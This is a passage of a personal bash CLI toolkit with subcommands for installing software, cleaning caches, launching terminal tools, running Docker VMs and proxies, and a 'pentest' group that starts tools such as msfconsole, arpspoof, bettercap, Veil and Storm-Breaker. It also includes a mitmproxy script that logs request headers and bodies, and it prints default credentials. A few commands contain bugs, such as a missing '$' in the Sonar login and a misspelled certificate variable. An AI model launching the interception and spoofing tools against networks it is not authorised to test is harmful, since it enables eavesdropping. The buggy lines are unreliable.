$HOME/Applications/docker-elk ]] || git clone https://github.com/deviantony/docker-elk.git cd docker-elk || exit blue "Build the docker-elk stack just in case a pre-existing version of Elasticsearch needs its nodes upgraded" docker-compose build blue "Start the docker-elk setup container" docker-compose up setup cd "$current_dir" || exit } dtools_elastic_start_command() { declare current_dir="$PWD" cd "$HOME"/Applications/docker-elk || exit blue "Start the docker-elk stack" docker-compose up -d yellow_bold "\n\n\nDefault credentials:" yellow "Username: elastic" yellow "Password: changeme" cd "$current_dir" || exit } dtools_elastic_stop_command() { declare current_dir="$PWD" cd "$HOME"/Applications/docker-elk || exit blue "Stop the docker-elk stack" docker-compose down cd "$current_dir" || exit } dtools_java_set_version_command() { sudo rm /usr/bin/java sudo rm /usr/bin/javac sudo rm /usr/bin/javadoc sudo rm /usr/bin/javah sudo rm /usr/bin/javap declare basePath=/usr/lib/jvm # shellcheck disable=SC2154 declare version="${args[version]}" case $version in 8) declare jdk8Path="$basePath/java-8-openjdk-amd64/bin" sudo ln -s "$jdk8Path/java" /usr/bin/java sudo ln -s "$jdk8Path/javac" /usr/bin/javac sudo ln -s "$jdk8Path/javadoc" /usr/bin/javadoc sudo ln -s "$jdk8Path/javah" /usr/bin/javah sudo ln -s "$jdk8Path/javap" /usr/bin/javap ;; 11) declare jdk11Path="$basePath/java-11-openjdk-amd64/bin" sudo ln -s "$jdk11Path/java" /usr/bin/java sudo ln -s "$jdk11Path/javac" /usr/bin/javac sudo ln -s "$jdk11Path/javadoc" /usr/bin/javadoc sudo ln -s "$jdk11Path/javah" /usr/bin/javah sudo ln -s "$jdk11Path/javap" /usr/bin/javap ;; 17) declare jdk17Path="$basePath/java-17-openjdk-amd64/bin" sudo ln -s "$jdk17Path/java" /usr/bin/java sudo ln -s "$jdk17Path/javac" /usr/bin/javac sudo ln -s "$jdk17Path/javadoc" /usr/bin/javadoc sudo ln -s "$jdk17Path/javah" /usr/bin/javah sudo ln -s "$jdk17Path/javap" /usr/bin/javap ;; 21) declare jdk21Path="$basePath/java-21-openjdk-amd64/bin" sudo ln -s "$jdk21Path/java" /usr/bin/java sudo ln -s "$jdk21Path/javac" /usr/bin/javac sudo ln -s "$jdk21Path/javadoc" /usr/bin/javadoc sudo ln -s "$jdk21Path/javah" /usr/bin/javah sudo ln -s "$jdk21Path/javap" /usr/bin/javap ;; esac } dtools_java_analyze_with_sonar_command() { # shellcheck disable=SC2154 declare sonar_url="${args[--sonar-url]}" declare sonar_login="${args[--sonar-login]}" declare sonar_project_key="${args[--sonar-project-key]}" if [[ -f pom.xml ]]; then mvn sonar:sonar \ -Dsonar.projectKey="$sonar_project_key" \ -Dsonar.host.url="$sonar_url" \ -Dsonar.login="sonar_login" elif [[ -f settings.gradle ]]; then if (grep -q plugins build.gradle); then sed '/plugins/a id "org.sonarqube" version "5.0.0.4638"' build.gradle fi ./gradlew sonar \ -Dsonar.projectKey="$sonar_project_key" \ -Dsonar.host.url="$sonar_url" \ -Dsonar.login="$sonar_login" fi } dtools_ansible_encrypt_string_command() { encrypt-string() { ansible-vault encrypt_string --ask-vault-pass --encrypt-vault-id default } # shellcheck disable=SC2154 if [[ "${args[--copy-output-to-clipboard]}" == 1 ]]; then yellow "Press 'Ctrl-d' twice to end secret input" encrypt-string | xclip -sel clip else encrypt-string fi } dtools_ansible_decrypt_variable_command() { # shellcheck disable=SC2154 ansible localhost -m ansible.builtin.debug -a var="${args[--variable]}" -e "@${args[--file]}" --ask-vault-pass } dtools_install_docker_command() { blue_bold "Installing prerequisites..." yes | sudo add-apt-repository universe yes | sudo add-apt-repository multiverse sudo apt-get update sudo apt-get install ca-certificates curl gnupg lsb-release apt-transport-https blue_bold "Checking for the /etc/apt/keyrings directory..." [[ -d /etc/apt/keyrings ]] || sudo mkdir /etc/apt/keyrings blue_bold "Installing the Docker GPG key..." sudo install -m 0755 -d /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg sudo chmod a+r /etc/apt/keyrings/docker.gpg blue_bold "Setting up the Docker APT repository..." echo \ "deb [arch=\"$(dpkg --print-architecture)\" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \ \"$(. /etc/os-release && echo $VERSION_CODENAME)\" stable" | \ sudo tee /etc/apt/sources.list.d/docker.list > /dev/null sudo apt-get update blue_bold "Installing Docker..." sudo apt-get install containerd.io docker-ce docker-ce-cli docker-compose-plugin docker-buildx-plugin green_bold "Successfully installed Docker" } dtools_install_ansible_command() { sudo apt-get update sudo apt-get install python3.8 python3-pip pip3 install --user ansible } dtools_install_java_command() { sudo add-apt-repository ppa:openjdk-r/ppa sudo apt-get update sudo apt-get install openjdk-8-jdk openjdk-11-jdk openjdk-17-jdk openjdk-21-jdk -y } dtools_clean_bleachbit_command() { blue_bold "Running BleachBit" spinny-start readarray -t bleachbitCleanList < <(cat <<-EOF adobe_reader.cache adobe_reader.mru adobe_reader.tmp apt.autoclean apt.autoremove apt.clean apt.package_lists chromium.cache chromium.cookies chromium.dom chromium.form_history chromium.history chromium.passwords chromium.search_engines chromium.session chromium.sync chromium.vacuum discord.cache discord.cookies discord.history discord.vacuum elinks.history epiphany.cache epiphany.cookies epiphany.dom epiphany.passwords epiphany.places evolution.cache firefox.cache firefox.cookies firefox.crash_reports flash.cache gedit.recent_documents gimp.tmp google_chrome.cache google_chrome.cookies google_chrome.dom google_chrome.form_history google_chrome.history google_chrome.passwords google_chrome.search_engines google_chrome.session google_chrome.sync google_chrome.vacuum google_earth.temporary_files google_toolbar.search_history java.cache journald.clean libreoffice.cache libreoffice.history openofficeorg.cache openofficeorg.recent_documents opera.cache opera.cookies opera.dom opera.form_history opera.history opera.passwords opera.session opera.vacuum pidgin.cache pidgin.logs realplayer.cookies realplayer.history realplayer.logs rhythmbox.cache rhythmbox.history seamonkey.cache seamonkey.chat_logs seamonkey.cookies seamonkey.download_history seamonkey.history secondlife_viewer.Cache secondlife_viewer.Logs skype.chat_logs skype.installers sqlite3.history system.cache system.clipboard system.rotated_logs system.trash system.tmp thumbnails.cache thunderbird.cache thunderbird.cookies thunderbird.index thunderbird.passwords thunderbird.vacuum transmission.history transmission.torrents vlc.memory_dump vlc.mru wine.tmp winetricks.temporary_files x11.debug_logs EOF ) for cleaner in "${bleachbitCleanList[@]}"; do blue_bold "Running BleachBit cleaner: $cleaner" sudo bleachbit -c "$cleaner" done spinny-stop green_bold "Finished running BleachBit cleaners" } dtools_clean_docker_command() { blue_bold "Cleaning docker" blue_bold "Pruning Docker images and containers..." spinny-start yes | docker system prune -a spinny-stop blue_bold "Pruning Docker volumes..." spinny-start yes | docker volume prune spinny-stop green_bold "Finished cleaning Docker" } dtools_clean_package_caches_command() { blue_bold "Cleaning packages..." blue_bold "Cleaning apt cache..." sudo apt-get clean sudo apt-get autoclean blue_bold "Removing unnecessary apt dependencies..." sudo apt-get autoremove sudo apt-get purge blue_bold "Cleaning up pip cache..." pip cache purge sudo pip cache purge if (command -v snap > /dev/null 2>&1); then blue_bold "Removing disabled snaps..." set -eu LANG=en_US.UTF-8 snap list --all |\ awk '/disabled/{print $1, $3}' |\ while read -r snapname revision; do snap remove "$snapname" --revision="$revision" done blue_bold "Purging cached Snap versions..." sudo rm -rf /var/cache/snapd/* fi green_bold "Finished cleaning packages" } dtools_clean_logs_command() { blue_bold "Cleaning system logs..." blue_bold "Vacuuming journal logs older than 3 days..." sudo journalctl --vacuum-time 3d blue_bold "Deleting archived logs..." sudo find /var/log -type f -name '*.gz' -delete sudo find /var/log -type f -name '*.1' -delete } dtools_clean_build_caches_command() { blue_bold "Cleaning build caches" # shellcheck disable=SC2154 declare code_directory="${args[code-directory]}" readarray -t nodeModulesList < <(find "$code_directory" -type d -name node_modules) readarray -t buildList < <(find "$code_directory" -type d -name build) readarray -t outList < <(find "$code_directory" -type d -name out) readarray -t cdkOutList < <(find "$code_directory" -type d -name cdk.out) readarray -t pycacheList < <(find "$code_directory" -type d -name __pycache__) readarray -t cargoList < <(find "$code_directory" -type f -name Cargo.toml -exec dirname {} \;) blue_bold "Cleaning 'node_modules' directories..." spinny-start for nodeModulesDirectory in "${nodeModulesList[@]}"; do blue_bold "Cleaning 'node_modules' directory: $nodeModulesDirectory" sudo rm -rf "$nodeModulesDirectory" done spinny-stop blue_bold "Cleaning 'build' directories..." spinny-start for buildDirectory in "${buildList[@]}"; do blue_bold "Cleaning 'build' directory: $buildDirectory" sudo rm -rf "$buildDirectory" done spinny-stop blue_bold "Cleaning 'out' directories..." spinny-start for outDirectory in "${outList[@]}"; do blue_bold "Cleaning 'out' directory: $outDirectory" sudo rm -rf "$outDirectory" done spinny-stop blue_bold "Cleaning 'cdk.out' directories..." spinny-start for cdkOutDirectory in "${cdkOutList[@]}"; do blue_bold "Cleaning 'cdk.out' directory: $cdkOutDirectory" sudo rm -rf "$cdkOutDirectory" done spinny-stop blue_bold "Cleaning 'pycache' directories..." spinny-start for pycacheDirectory in "${pycacheList[@]}"; do blue_bold "Cleaning 'pycache' directory: $pycacheDirectory" sudo rm -rf "$pycacheDirectory" done spinny-stop blue_bold "Cleaning 'Rust' projects..." spinny-start for cargoDirectory in "${cargoList[@]}"; do blue_bold "Cleaning rust project: $cargoDirectory" # shellcheck disable=SC2164 pushd "$cargoDirectory" > /dev/null 2>&1 cargo clean # shellcheck disable=SC2164 popd > /dev/null 2>&1 done blue_bold "Cleaning the ~/.m2/repository cache..." rm -rf "$HOME"/.m2/repository green_bold "Finished cleaning build caches" } dtools_tui_monitoring_system_monitor_command() { btop } dtools_tui_monitoring_pihole_monitor_command() { pimon } dtools_tui_monitoring_kernel_monitor_command() { kmon } dtools_tui_network_monitoring_wavemon_command() { wavemon } dtools_tui_network_monitoring_network_diags_command() { trippy } dtools_tui_network_monitoring_ip_traffic_command() { iptraf } dtools_tui_network_monitoring_socket_stats_command() { neoss } dtools_tui_network_monitoring_netscanner_command() { netscanner } dtools_tui_network_monitoring_upkit_command() { upkit } dtools_tui_network_network_manager_command() { nmtui } dtools_tui_network_bluetooth_manager_command() { bluetuith } dtools_tui_network_wireguard_config_command() { wg-cmd } dtools_tui_network_mitm_proxy_command() { mitmproxy } dtools_tui_network_proxy_command() { proxyfor } dtools_tui_network_proxymock_command() { proxymock } dtools_tui_network_http_load_generator_command() { oha } dtools_tui_network_ping_command() { gping } dtools_tui_network_full_browser_command() { docker run -it browsh/browsh } dtools_tui_network_elinks_command() { elinks } dtools_tui_network_w3m_command() { w3m } dtools_tui_network_lynx_command() { lynx } dtools_tui_network_carbonyl_command() { carbonyl } dtools_tui_network_http_request_client_command() { wuzz } dtools_tui_network_http_request_client_2_command() { slumber } dtools_tui_network_api_client_command() { atac } dtools_tui_docker_docker_command() { lazydocker } dtools_tui_docker_docker_layer_analyzer_command() { dive } dtools_tui_docker_kubernetes_command() { k9s } dtools_tui_development_git_command() { gitui } dtools_tui_development_jira_command() { jirust } dtools_tui_development_readme_command() { glow } dtools_tui_development_tail_logs_command() { lnav } dtools_tui_development_drft_command() { drft } dtools_tui_development_wrkflw_command() { wrkflw } dtools_tui_development_gama_command() { echo "# This file is located at 'src/commands/tui/development/gama.sh'." echo "# It contains the implementation for the 'dtools tui development gama' command." echo "# The code you write here will be wrapped by a function named 'dtools_tui_development_gama_command()'." echo "# Feel free to edit this file; your changes will persist when regenerating." inspect_args } dtools_tui_development_ecs_command() { e1s } dtools_tui_development_openapi_command() { openapi-tui } dtools_tui_development_gcs_command() { # shellcheck disable=SC2154 declare gcs_url="${args[gcs_url]}" burf "$gcs_url" } dtools_tui_development_prs_command() { prs } dtools_tui_development_s3_command() { stu } dtools_tui_development_terraform_command() { # shellcheck disable=SC2154 if [[ "${args[--terraform]}" == 1 ]]; then pug else pug --program=terragrunt fi } dtools_tui_development_journal_command() { lazyjournal } dtools_tui_development_multi_host_log_viewer_command() { nerdlog } dtools_tui_dev_help_stack_overflow_command() { so } dtools_tui_dev_help_wiki_command() { wiki-tui } dtools_tui_data_db_command() { gobang } dtools_tui_data_explorer_command() { visidata } dtools_tui_data_database_ide_command() { harlequin } dtools_tui_data_kafka_command() { yozf } dtools_tui_data_jupyter_notebook_command() { euporie-notebook } dtools_tui_misc_notes_command() { joplin } dtools_tui_misc_presentation_command() { patat } dtools_tui_misc_dev_chat_command() { # shellcheck disable=SC2154 ssh "${args[nickname]}@devzat.hackclub.com" } dtools_tui_misc_file_manager_command() { nnn } dtools_tui_misc_screensaver_command() { #!/bin/bash ttysvr } dtools_tui_misc_weather_command() { wego } dtools_tui_misc_linutil_command() { linutil } dtools_tui_misc_slack_command() { slack-term } dtools_tui_misc_youtube_music_command() { ytermusic } dtools_tui_misc_youtube_music_2_command() { ytui_music run } dtools_tui_misc_jellyfin_command() { jellyfin-tui } dtools_tui_misc_visualizations_command() { vis } dtools_tui_misc_visualizations_2_command() { cava } dtools_tui_misc_find_and_replace_command() { scooter } dtools_tui_misc_ascii_theater_command() { ssh -o StrictHostKeyChecking=no watch.ascii.theater } dtools_tui_misc_calendar_command() { calcure } dtools_tui_misc_piano_command() { upiano } dtools_tui_misc_servarr_command() { echo "# This file is located at 'src/commands/tui/misc/servarr.sh'." echo "# It contains the implementation for the 'dtools tui misc servarr' command." echo "# The code you write here will be wrapped by a function named 'dtools_tui_misc_servarr_command()'." echo "# Feel free to edit this file; your changes will persist when regenerating." inspect_args } dtools_tui_sandbox_jqp_command() { # shellcheck disable=SC2154 jqp -f "${args[json_file]}" } dtools_tui_sandbox_desed_command() { desed } dtools_tui_sandbox_play_command() { # shellcheck disable=SC2154 declare program="${args[program]}" play "$program" } dtools_tui_sandbox_regect_command() { regect } dtools_tui_ai_elia_command() { elia } dtools_pentest_maltego_command() { maltego } dtools_pentest_ifconfig_command() { ifconfig } dtools_pentest_netdiscover_command() { netdiscover } dtools_pentest_nmap_command() { nmap } dtools_pentest_arpspoof_command() { arpspoof } dtools_pentest_bettercap_command() { bettercap } dtools_pentest_msfconsole_command() { msfconsole } dtools_pentest_aircrack_ng_command() { aircrack-ng } dtools_pentest_crunch_command() { crunch } dtools_pentest_veil_command() { cd /opt/Veil && python3 Veil.py } dtools_pentest_ngrok_command() { ngrok } dtools_pentest_storm_breaker_command() { cd /opt/Storm-Breaker && sudo python3 st.py } dtools_video_rip_audio_command() { # shellcheck disable=SC2154 declare video_file="${args[video_file]}" # shellcheck disable=SC2154 declare output_file="${args[--output-file]}" # shellcheck disable=SC2154 declare title="${args[--title]:-$output_file}" ffmpeg -i "$video_file" -acodec libmp3lame -metadata TITLE="$title" "$output_file.mp3" } dtools_video_youtube_command() { # shellcheck disable=SC2154 declare url="${args[url]}" declare playlist="${args[--playlist]}" if [[ "${args[--audio-only]}" == 1 ]]; then if [[ $playlist == 1 ]]; then sudo youtube-dl -f "bestaudio" \ --continue \ --no-overwrites \ --ignore-errors \ --extract-audio \ --audio-format mp3 \ -o "%(title)s.%(ext)s" \ "$url" else sudo youtube-dl -x --audio-format mp3 "$url" fi else if [[ $playlist == 1 ]]; then sudo youtube-dl -cit "$url" else sudo youtube-dl "$url" fi fi } dtools_video_split_scenes_command() { # shellcheck disable=SC2154 declare video_file="${args[video_file]}" # shellcheck disable=SC2154 declare content_threshold="${args[--content-threshold]}" # shellcheck disable=SC2154 declare fade_threshold="${args[--fade-threshold]}" # shellcheck disable=SC2154 declare keep_duration="${args[--keep-duration]}" scenedetect --input "$video_file" detect-content --threshold "$content_threshold" detect-threshold --threshold "$fade_threshold" split-video for file in *."${video_file##*.}"; do duration=$(ffprobe -v error -select_streams v:0 -show_entries stream=duration -of csv=p=0 "$file") if (( $(echo "$duration < $keep_duration" | bc -l) )); then rm "$file" fi done } dtools_video_duration_command() { # shellcheck disable=SC2154 declare video_file="${args[video_file]}" ffprobe -v error -select_streams v:0 -show_entries stream=duration -of csv=p=0 "$video_file" } dtools_video_boost_audio_command() { # shellcheck disable=SC2154 declare video_file="${args[video_file]}" # shellcheck disable=SC2154 declare multiplier="${args[--multiplier]}" # shellcheck disable=SC2154 declare output_file="${args[--output-file]}" ffmpeg -i "$video_file" -vcodec copy -af "volume=2.0" "$output_file" } dtools_vm_windows_command() { # shellcheck disable=SC2154 declare version="${args[--version]}" # shellcheck disable=SC2154 declare disk_size="${args[--disk-size]}" # shellcheck disable=SC2154 declare ram_size="${args[--ram-size]}" # shellcheck disable=SC2154 declare cpu_cores="${args[--cpu-cores]}" # shellcheck disable=SC2154 declare share_directory="${args[--share-directory]}" # shellcheck disable=SC2154 declare persistent_dir_prefix="${args[--persistent-dir-prefix]:-$version}" if [[ "${args[--wipe-persistent-data]}" == 1 ]]; then declare persistent_data_dir="$HOME/.vm/windows/$persistent_dir_prefix" if [[ -d "$persistent_data_dir" ]]; then yellow "Removing persisted session data for Windows ${version}..." rm -rf "$persistent_data_dir" else red "There's no persisted Windows ${version} session in the specified persistent directory: $persistent_data_dir" exit 1 fi fi if [[ "${args[--persistent]}" == 1 ]]; then [[ -d "$HOME/.vm/windows/$persistent_dir_prefix" ]] || mkdir -p "$HOME/.vm/windows/$persistent_dir_prefix" fi if [[ "${args[--persistent]}" == 1 ]]; then container_id=$(docker run -it --rm \ -v "$HOME/.vm/windows/$persistent_dir_prefix:/storage" \ -p 8006:8006 \ -p 3389:3389 \ --device=/dev/kvm \ --device=/dev/dri \ -e "VERSION=$version" \ -e "DISK_SIZE=${disk_size}G" \ -e "RAM_SIZE=${ram_size}G" \ -e "CPU_CORES=$cpu_cores" \ -v "$share_directory:/data" \ --cap-add NET_ADMIN \ --stop-timeout 120 \ -d \ dockurr/windows) else container_id=$(docker run -it --rm \ -p 8006:8006 \ -p 3389:3389 \ --device=/dev/kvm \ --device=/dev/dri \ -e "VERSION=$version" \ -e "DISK_SIZE=${disk_size}G" \ -e "RAM_SIZE=${ram_size}G" \ -e "CPU_CORES=$cpu_cores" \ -v "$share_directory:/data" \ --cap-add NET_ADMIN \ --stop-timeout 120 \ -d \ dockurr/windows) fi cleanup() { cyan "Stopping Windows container $container_id..." docker stop "$container_id" > /dev/null } trap cleanup EXIT until (docker logs "$container_id" 2>&1 | grep -qi "starting boot.*Windows Boot Manager"); do blue "Waiting for Windows to boot..." sleep 3 done yes | xfreerdp3 /v:localhost /u:Docker /p:admin +dynamic-resolution } dtools_vm_linux_command() { # shellcheck disable=SC2154 declare dist="${args[--dist]}" # shellcheck disable=SC2154 declare image_url="${args[--image-url]}" # shellcheck disable=SC2154 declare disk_size="${args[--disk-size]}" # shellcheck disable=SC2154 declare ram_size="${args[--ram-size]}" # shellcheck disable=SC2154 declare cpu_cores="${args[--cpu-cores]}" # shellcheck disable=SC2154 declare share_directory="${args[--share-directory]}" if [[ -n $dist ]]; then image=$dist else image=$image_url fi # shellcheck disable=SC2154 declare persistent_dir_prefix="${args[--persistent-dir-prefix]:-$image}" if [[ "${args[--wipe-persistent-data]}" == 1 ]]; then declare persistent_data_dir="$HOME/.vm/linux/$persistent_dir_prefix" if [[ -d "$persistent_data_dir" ]]; then yellow "Removing persisted session data for Linux ${image}..." rm -rf "$persistent_data_dir" else red "There's no persisted Linux container (${image}) session in the specified persistent directory: $persistent_data_dir" exit 1 fi fi if [[ "${args[--persistent]}" == 1 ]]; then [[ -d "$HOME/.vm/linux/$persistent_dir_prefix" ]] || mkdir -p "$HOME/.vm/linux/$persistent_dir_prefix" fi if [[ "${args[--no-gui]}" == 1 ]]; then if [[ "${args[--persistent]}" == 1 ]]; then docker run -it --rm \ -v "$HOME/.vm/linux/$persistent_dir_prefix:/storage" \ -p 8006:8006 \ -p 2222:22 \ --device=/dev/kvm \ -e "BOOT=$image" \ -e "DISK_SIZE=${disk_size}G" \ -e "RAM_SIZE=${ram_size}G" \ -e "CPU_CORES=$cpu_cores" \ -v "$share_directory:/shared" \ --cap-add NET_ADMIN \ --stop-timeout 120 \ qemux/qemu else docker run -it --rm \ -p 8006:8006 \ -p 2222:22 \ --device=/dev/kvm \ -e "BOOT=$image" \ -e "DISK_SIZE=${disk_size}G" \ -e "RAM_SIZE=${ram_size}G" \ -e "CPU_CORES=$cpu_cores" \ -v "$share_directory:/shared" \ --cap-add NET_ADMIN \ --stop-timeout 120 \ qemux/qemu fi else if [[ "${args[--persistent]}" == 1 ]]; then container_id=$(docker run -it --rm \ -v "$HOME/.vm/linux/$persistent_dir_prefix:/storage" \ -p 8006:8006 \ -p 5900:5900 \ -p 3389:3389 \ -p 2222:22 \ --device=/dev/kvm \ -e "BOOT=$image" \ -e "DISK_SIZE=${disk_size}G" \ -e "RAM_SIZE=${ram_size}G" \ -e "CPU_CORES=$cpu_cores" \ -v "$share_directory:/shared" \ --cap-add NET_ADMIN \ --stop-timeout 120 \ -d \ qemux/qemu) else container_id=$(docker run -it --rm \ -p 8006:8006 \ -p 5900:5900 \ -p 3389:3389 \ -p 2222:22 \ --device=/dev/kvm \ -e "BOOT=$image" \ -e "DISK_SIZE=${disk_size}G" \ -e "RAM_SIZE=${ram_size}G" \ -e "CPU_CORES=$cpu_cores" \ -v "$share_directory:/shared" \ --cap-add NET_ADMIN \ --stop-timeout 120 \ -d \ qemux/qemu) fi cleanup() { cyan "Stopping Linux container $container_id..." docker stop "$container_id" > /dev/null } trap cleanup EXIT until (docker logs "$container_id" 2>&1 | grep -qi "starting Boot.*from PciRoot\|starting Boot.*from HD"); do blue "Waiting for Linux to boot..." sleep 3 done if [[ "${args[--use-rdp]}" == 1 ]]; then yes | xfreerdp3 /v:localhost /u:"${args[--rdp-user]}" /p:"${args[--rdp-password]}" +dynamic-resolution else remmina -c vnc://localhost:5900 --set-option quality=2 --set-option scale=2 --set-option keyboard_grab=1 fi fi } dtools_vm_mac_command() { # shellcheck disable=SC2154 declare version="${args[--version]}" # shellcheck disable=SC2154 declare disk_size="${args[--disk-size]}" # shellcheck disable=SC2154 declare ram_size="${args[--ram-size]}" # shellcheck disable=SC2154 declare cpu_cores="${args[--cpu-cores]}" # shellcheck disable=SC2154 declare share_directory="${args[--share-directory]}" # shellcheck disable=SC2154 declare persistent_dir_prefix="${args[--persistent-dir-prefix]:-$version}" if [[ "${args[--wipe-persistent-data]}" == 1 ]]; then declare persistent_data_dir="$HOME/.vm/mac/$persistent_dir_prefix" if [[ -d "$persistent_data_dir" ]]; then yellow "Removing persisted session data for Mac OS ${version}..." rm -rf "$persistent_data_dir" else red "There's no persisted MacOS ${version} session in the specified persistent directory: $persistent_data_dir" exit 1 fi fi if [[ "${args[--persistent]}" == 1 ]]; then [[ -d "$HOME/.vm/mac/$persistent_dir_prefix" ]] || mkdir -p "$HOME/.vm/mac/$persistent_dir_prefix" fi if [[ "${args[--persistent]}" == 1 ]]; then container_id=$(docker run -it --rm \ -v "$HOME/.vm/mac/$persistent_dir_prefix:/storage:rw" \ -p 8006:8006 \ -p 5900:5900 \ -p 2222:22 \ --device=/dev/kvm \ -e "VERSION=$version" \ -e "DISK_SIZE=${disk_size}G" \ -e "RAM_SIZE=${ram_size}G" \ -e "CPU_CORES=$cpu_cores" \ -v "$share_directory:/shared" \ --cap-add NET_ADMIN \ --stop-timeout 120 \ -d \ dockurr/macos) else container_id=$(docker run -it --rm \ -p 8006:8006 \ -p 5900:5900 \ -p 2222:22 \ --device=/dev/kvm \ -e "VERSION=$version" \ -e "DISK_SIZE=${disk_size}G" \ -e "RAM_SIZE=${ram_size}G" \ -e "CPU_CORES=$cpu_cores" \ -v "$share_directory:/shared" \ --cap-add NET_ADMIN \ --stop-timeout 120 \ -d \ dockurr/macos) fi cleanup() { cyan "Stopping Mac container $container_id..." docker stop "$container_id" > /dev/null } trap cleanup EXIT until (docker logs "$container_id" 2>&1 | grep -qi "starting Boot.*from PciRoot"); do blue "Waiting for Mac to boot..." sleep 3 done remmina -c vnc://localhost:5900 --set-option quality=2 --set-option scale=2 --set-option keyboard_grab=1 } dtools_network_generate_self_signed_certificate_command() { # shellcheck disable=SC2154 declare output="${args[--output]}" # shellcheck disable=SC2154 declare key_output="${args[--key-output]}" # shellcheck disable=SC2154 declare pfx_output="${args[--pfx-output]}" # shellcheck disable=SC2154 declare hostname="${args[--hostname]}" sudo openssl req -x509 -newkey rsa:2048 -days 365 -nodes -out "$output" -keyout "$key_output" -subj "/C=US/ST=Colorado/L=Denver/O=ClarkeCloud/OU=IT/CN=$hostname" sudo chmod 600 "$output" sudo chmod 600 "$key_output" if [[ -n $pfx_output ]]; then sudo openssl pkcs12 -export -out "$pfx_output" -inkey "$key_output" -in "$output" sudo chmod 600 "$pfx_output" fi } dtools_network_https_proxy_command() { # shellcheck disable=SC2154 declare https_port="${args[--https-port]}" # shellcheck disable=SC2154 declare proxy_target_host="${args[--proxy-target-host]}" # shellcheck disable=SC2154 declare proxy_target_port="${args[--proxy-target-port]}" # shellcheck disable=SC2154 declare ssl_certificate="${args[--ssl-certificate]}" declare dtools_cert=/etc/devtools/dtools.pem if [[ $ssl_certificate = "$dtools_cert" && ! -f $dtools_cert ]]; then [[ -d /etc/devtools ]] || sudo mkdir /etc/devtools sudo openssl req -new -x509 -days 365 -nodes -out "$dtool_cert" -keyout "$dtools_cert" -subj "/C=US/ST=Colorado/L=Denver/O=ClarkeCloud/OU=IT/CN=localhost" sudo chmod 600 "$dtools_cert" fi sudo socat openssl-listen:"$https_port",reuseaddr,fork,cert="$ssl_certificate",verify=0 tcp:"$proxy_target_host":"$proxy_target_port" } dtools_network_tcp_proxy_command() { # shellcheck disable=SC2154 declare tcp_host="${args[--tcp-host]}" # shellcheck disable=SC2154 declare tcp_port="${args[--tcp-port]}" # shellcheck disable=SC2154 declare proxy_target_host="${args[--proxy-target-host]}" # shellcheck disable=SC2154 declare proxy_target_port="${args[--proxy-target-port]}" sudo simpleproxy -L "${tcp_host}:${tcp_port}" -R "${proxy_target_host}:${proxy_target_port}" -v } dtools_network_proxy_with_nginx_command() { # shellcheck disable=SC2154 declare tcp_port="${args[--tcp-port]}" # shellcheck disable=SC2154 declare proxy_target_host="${args[--proxy-target-host]}" # shellcheck disable=SC2154 declare proxy_target_protocol="${args[--proxy-target-protocol]}" # shellcheck disable=SC2155 declare temp_config_file="$(mktemp)" # shellcheck disable=SC2064 trap "rm -f $temp_config_file" EXIT cat <<-EOF >> "$temp_config_file" # nginx.conf worker_processes 1; events {} http { server { listen $tcp_port; location / { proxy_pass $proxy_target_protocol://$proxy_target_host; # Forward the Host header so the remote API recognizes the request proxy_set_header Host $proxy_target_host; # Optional: standard reverse proxy headers proxy_set_header X-Real-IP \$remote_addr; proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for; # Enable SNI (important for HTTPS targets) proxy_ssl_server_name on; } } } EOF yellow "Press 'Ctrl-c' to stop proxying" sudo nginx -p . -g 'daemon off;' -c "$temp_config_file" } dtools_network_mitm_proxy_command() { # shellcheck disable=SC2154 declare domain="${args[domain]}" declare port="${args[--port]}" declare script_file="${args[--script-file]}" if [[ -z $script_file ]]; then script_file="$(mktemp /dev/shm/tmp.XXXXXX)" trap 'rm -f $script_file' EXIT cat <<-EOF >> "$script_file" from mitmproxy import http import re def request(flow: http.HTTPFlow) -> None: match = re.search(r'$domain', flow.request.host) if match is not None: print(f"Request to {flow.request.host}:") print(flow.request.method, flow.request.url) print("Headers:", flow.request.headers) print("Body:", flow.request.get_text()) # Requests will be automatically forwarded unless explicitly modified or killed. EOF fi mitmproxy --listen-port "$port" -s "$script_file" } dtools_network_archive_website_command() { # shellcheck disable=SC2154 declare url="${args[--url]}" # shellcheck disable=SC2154 declare name="${args[--name]}" # shellcheck disable=SC2154 declare output="${args[--output]}" # shellcheck disable=SC2154 declare limit="${args[--limit]}" # shellcheck disable=SC2154 declare behaviors="${args[--behaviors]}" # shellcheck disable=SC2154 declare exclude="${args[--exclude]}" # shellcheck disable=SC2154 declare workers="${args[--workers]}" # shellcheck disable=SC2154 declare wait_until="${args[--wait-until]}" # shellcheck disable=SC2154 declare keep="${args[--keep]}" # shellcheck disable=SC2154 declare shm_size="${args[--shm-size]}" docker run \ --rm \ --shm-size="$shm_size" \ -v "$output":/output \ ghcr.io/openzim/zimit zimit \ --url "$url" \ --name "$name" \ --output "$output" \ "${limit:+--limit "$limit"}" \ --behaviors "$behaviors" \ "${exclude:+--exclude "$exclude"}" \ "${workers:+--workers "$workers"}" \ --wait-until "$wait_until" \ "${keep:+--keep}" } dtools_network_warc_2_zim_command() { # shellcheck disable=SC2154 declare url="${args[--url]}" # shellcheck disable=SC2154 declare name="${args[--name]}" # shellcheck disable=SC2154 declare output="${args[--output]}" # shellcheck disable=SC2154 declare limit="${args[--limit]}" # shellcheck disable=SC2154 declare behaviors="${args[--behaviors]}" # shellcheck disable=SC2154 declare exclude="${args[--exclude]}" # shellcheck disable=SC2154 declare workers="${args[--workers]}" # shellcheck disable=SC2154 declare wait_until="${args[--wait-until]}" # shellcheck disable=SC2154 declare keep="${args[--keep]}" # shellcheck disable=SC2154 declare shm_size="${args[--shm-size]}" docker run \ --rm \ --shm-size="$shm_size" \ -v "$output":/output \ ghcr.io/openzim/zimit warc2zim \ --url "$url" \ --name "$name" \ --output "$output" \ "${limit:+--limit "$limit"}" \ --behaviors "$behaviors" \ "${exclude:+--exclude "$exclude"}" \ "${workers:+--workers "$workers"}" \ --wait-until "$wait_until" \ "${keep:+--keep}" } dtools_network_mermaid_api_command() { # shellcheck disable=SC2154 declare port="${args[port]}" docker run --rm -it --name mermaid-server -p "$port:80" tomwright/mermaid-server:latest } dtools_ntfy_subscribe_command() { # shellcheck disable=SC2154 declare sound="${args[--sound]}" if [[ -z $sound ]]; then ntfy sub "${args[topic]}" 'echo "$raw"' else ntfy sub "${args[topic]}" 'echo "$raw" && mpg321 -q ~/Music/notification-sounds/notify.mp3' fi } 